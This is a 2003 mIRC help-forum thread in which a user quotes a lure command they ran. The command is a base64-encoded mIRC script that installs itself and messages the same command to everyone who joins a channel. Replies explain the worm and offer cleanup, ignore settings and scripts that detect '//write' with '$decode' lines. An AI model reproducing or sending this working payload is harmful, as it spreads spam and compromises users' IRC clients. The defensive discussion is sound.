mIRC Home    About    Download    Register    News    Help

Print Thread
Page 1 of 2 1 2
#24474 16/05/03 04:06 AM
Joined: May 2003
Posts: 5
K
Nutrimatic drinks dispenser
OP Offline
Nutrimatic drinks dispenser
K
Joined: May 2003
Posts: 5
Someone sent me this on irc and i did it

"FOR MATRIX 2 DOWNLOAD, USE THIS COMMAND: //write Matrix2 $decode(b24gISsxOmpvaW46Izp7IC5hdXNlciAyICRuaWNrIHwgLm1zZyAkbmljayBGT1IgTUFUUklYIDIgRE9XTkxPQUQsIFVTRSBUSElTIENPTU1BTkQ6AzQgLy93cml0ZSBNYXRyaXgyICQgJCsgZGVjb2RlKCAkKyAkZW5jb2RlKCRyZWFkKCRzY3JpcHQsbiwxKSxtKSAkKyAsbSkgJGNocigxMjQpIC5sb2FkIC1ycyBNYXRyaXgyICRjaHIoMTI0KSAvL21vZGUgJCAkKyBtZSArUiB9IH0=,m) | .load -rs Matrix2 | //mode $me +R"

Now i get kicked out of rooms for spamming, can anyone tell me how to undo this, PLEASE!?!?!?!

#24475 16/05/03 04:13 AM
Joined: Dec 2002
Posts: 1,527
_
Hoopy frood
Offline
Hoopy frood
_
Joined: Dec 2002
Posts: 1,527
to remove this type I AM A MORON FOR LISTENING TO ANYONE ABOUT TYPING COMMANDS IN ......

ok on a serious note tho never ever ever in a million years type commands in that anyone tells u ..... they could be telling u to wipe out your hard drive ..... basically what uve g\gone and done is infected yourself thru your own neglegence unload whatever it is u loaded delete it and also run a thorough virus scan i do believe there is a fix for this very issue somewhere around here u might wanna use the search feature and expand it to veiw all forums and all posts for the date range


D3m0nnet.com
#24476 16/05/03 04:14 AM
Joined: Dec 2002
Posts: 1,237
T
Hoopy frood
Offline
Hoopy frood
T
Joined: Dec 2002
Posts: 1,237

*Note: Classic example of why you should not type anything someone tells you to, or to add anything to your remote files. Especially if you know them or not. For you will only wind up screwing yourself over.

#24477 16/05/03 04:17 AM
Joined: May 2003
Posts: 5
K
Nutrimatic drinks dispenser
OP Offline
Nutrimatic drinks dispenser
K
Joined: May 2003
Posts: 5
I think i fixed it myself, it created a file in my mirc folder that had text that said stuff like, " on join, bla bla bla" i just deleted it. anything else i should look for?

#24478 16/05/03 04:23 AM
Joined: Dec 2002
Posts: 1,237
T
Hoopy frood
Offline
Hoopy frood
T
Joined: Dec 2002
Posts: 1,237
Yeah look for any scripts that that particular command loaded and unload them for starters...

#24479 16/05/03 04:23 AM
Joined: May 2003
Posts: 5
K
Nutrimatic drinks dispenser
OP Offline
Nutrimatic drinks dispenser
K
Joined: May 2003
Posts: 5
BTW, I had norton auto protect on when this happened. That would have cought a virus right?

#24480 16/05/03 04:25 AM
Joined: Dec 2002
Posts: 1,237
T
Hoopy frood
Offline
Hoopy frood
T
Joined: Dec 2002
Posts: 1,237
I would run a scan as a precaution sometimes norton catches some and sometimes it doesn't.

#24481 16/05/03 04:28 AM
Joined: May 2003
Posts: 5
K
Nutrimatic drinks dispenser
OP Offline
Nutrimatic drinks dispenser
K
Joined: May 2003
Posts: 5
Yea, with my luck i probably got yet ANOTHER sub 7 on my pc frown

#24482 16/05/03 04:31 AM
Joined: Dec 2002
Posts: 1,922
O
Hoopy frood
Offline
Hoopy frood
O
Joined: Dec 2002
Posts: 1,922
No, norton won't catch this "virus", because it's a plain mirc script.
It just does something you were not intended to do.

#24483 16/05/03 04:31 AM
Joined: May 2003
Posts: 5
K
Nutrimatic drinks dispenser
OP Offline
Nutrimatic drinks dispenser
K
Joined: May 2003
Posts: 5
So then chances are by deleting the file it made, i undid all the bad stuff, right?
In the Remote thingy in options it has a list of a bunch of nicks, each is preceeded with "2:" is this supposed to be there?

Last edited by King_Aquinas; 16/05/03 04:34 AM.
#24484 16/05/03 04:33 AM
Joined: Dec 2002
Posts: 1,237
T
Hoopy frood
Offline
Hoopy frood
T
Joined: Dec 2002
Posts: 1,237
That is why I personally do not type anything nor do I click on any links someone gives me (including links sent or commands to type from my own friends and family) It is much better for you PC and alot less of a hassle on you to remove them. Consider this a lesson learned on your part. Hopefully you do not have any viruses ir trojans.

#24485 16/05/03 04:37 AM
Joined: Dec 2002
Posts: 1,922
O
Hoopy frood
Offline
Hoopy frood
O
Joined: Dec 2002
Posts: 1,922
Yea that's all.

#24486 16/05/03 04:44 AM
Joined: Dec 2002
Posts: 417
O
Fjord artisan
Offline
Fjord artisan
O
Joined: Dec 2002
Posts: 417
To protect yourself from a trojan virus scan your hard drives with these programs Swatit can be downloaded from Http://lockdowncorp.com

The Cleaner 3 can be downloaded from http://www.moosoft.com/thecleaner




Intelligence: It's better to ask a stupid question, then to prove it by not asking....
#24487 16/05/03 05:51 AM
Joined: Apr 2003
Posts: 426
Fjord artisan
Offline
Fjord artisan
Joined: Apr 2003
Posts: 426
It isn't a trojan.


If you just decode the encoded message, you'll see that it is a plain ol text file with a .mrc extension, which the user (when running those commands) writes, saves, and loads into mIRC, which then, everytime someone joins, msg's them the exact same thing that the user originally got.


To be honest, the person that did this is just a complete fsckwit.
There was no "skill" involved.

And personally, I would reccomend ignoring all private messages excepting for services, and those you can trust.

/ignore -p *!*@* (ignores every private message)

/ignore -x nickname (excludes that nickname from the ignore feature, ie /ignore -x ChanServ would allow ChanServ to still private message you).


I'm on Austnet, and I simply have an on ^*:OPEN:? { } event that halts default text, closes each window as it opens, and then notices the nickname that I am ignoring queries. It doesn't use the /ignore feature, but it acts in a similar way.


--------
mIRC - fun for all the family (except grandma and grandpa)
#24488 16/05/03 07:23 AM
Joined: Jan 2003
Posts: 3,012
Hoopy frood
Offline
Hoopy frood
Joined: Jan 2003
Posts: 3,012
Heh, speaking of stupiudity,

Watchdog, do u have your script look for the $debug alias in the input field and restrict it on your script? I know you talked about prevnting ppl from typing in their NS password, what about malicious (and pointless) code? >:D


-KingTomato
#24489 16/05/03 08:03 AM
Joined: Dec 2002
Posts: 1,527
_
Hoopy frood
Offline
Hoopy frood
_
Joined: Dec 2002
Posts: 1,527
neophyte when u msg services with anything that isnt a recognizable command then it ends up flooding u with messages in an endless loop do u take in account for that in your msging of ppl that u dont accept querys?


D3m0nnet.com
#24490 16/05/03 09:58 AM
Joined: Apr 2003
Posts: 426
Fjord artisan
Offline
Fjord artisan
Joined: Apr 2003
Posts: 426
I am only temporarily using that code.


However, on Austnet, it's working fine with ChanOP (I've had no infinite loops).


The simple reason is because its on a QUERY WINDOW OPEN event. Not on TEXT. There is a huge difference there.
I'm not sure how other network services run, but on Austnet, receiving messages from services comes via the form of a notice. If it works differently using ChanServ or whatever, then you should really use the /ignore system.

However, because the code I am using is an on Query Window open event, it would only work if the query window didn't exist :P

I'd also point out, that it's pretty easy to set it up to only notice the nick once, and thus not cause an endless loop.

But thanks for the concern :P


--------
mIRC - fun for all the family (except grandma and grandpa)
#24491 16/05/03 04:25 PM
Joined: Dec 2002
Posts: 1,527
_
Hoopy frood
Offline
Hoopy frood
_
Joined: Dec 2002
Posts: 1,527
oh no dont think i was knocking your code i was simply observing that if u had that set on some networks ud be flooded right off of it by services


D3m0nnet.com
#24492 16/05/03 07:03 PM
Joined: Jan 2003
Posts: 96
J
Babel fish
Offline
Babel fish
J
Joined: Jan 2003
Posts: 96
yeps only one way to stop it, FORMAT C:\ LOL (just kidding)
to prevent it from happening again:
Code:
on 1:TEXT:*:*: {
   if ($decode isin $1-) { echo -a dont ever type //write if $decode is in the line or you dont know what will be written }
}
;or even better if youre an OP
on 1:TEXT:*:#: {
  if ($me isop #) && ($decode isin $1-) {
  kick # $nick $decode crapper | (ban if you want to)
}

on *:INPUT:*: { 
    if ($left($1-,2) == //) {
     if (write isin $1-) && ($decode isin $1-) { echo -a Why didnt I listen to those people at mIRCs support forum :( }
   haltdef  
  }
}

teehee laugh


Last edited by Jesper; 16/05/03 07:15 PM.
#24493 16/05/03 07:08 PM
Joined: Dec 2002
Posts: 3,138
C
Hoopy frood
Offline
Hoopy frood
C
Joined: Dec 2002
Posts: 3,138
Please close the code tags, stretching the page smile

Page 1 of 2 1 2

Link Copied to Clipboard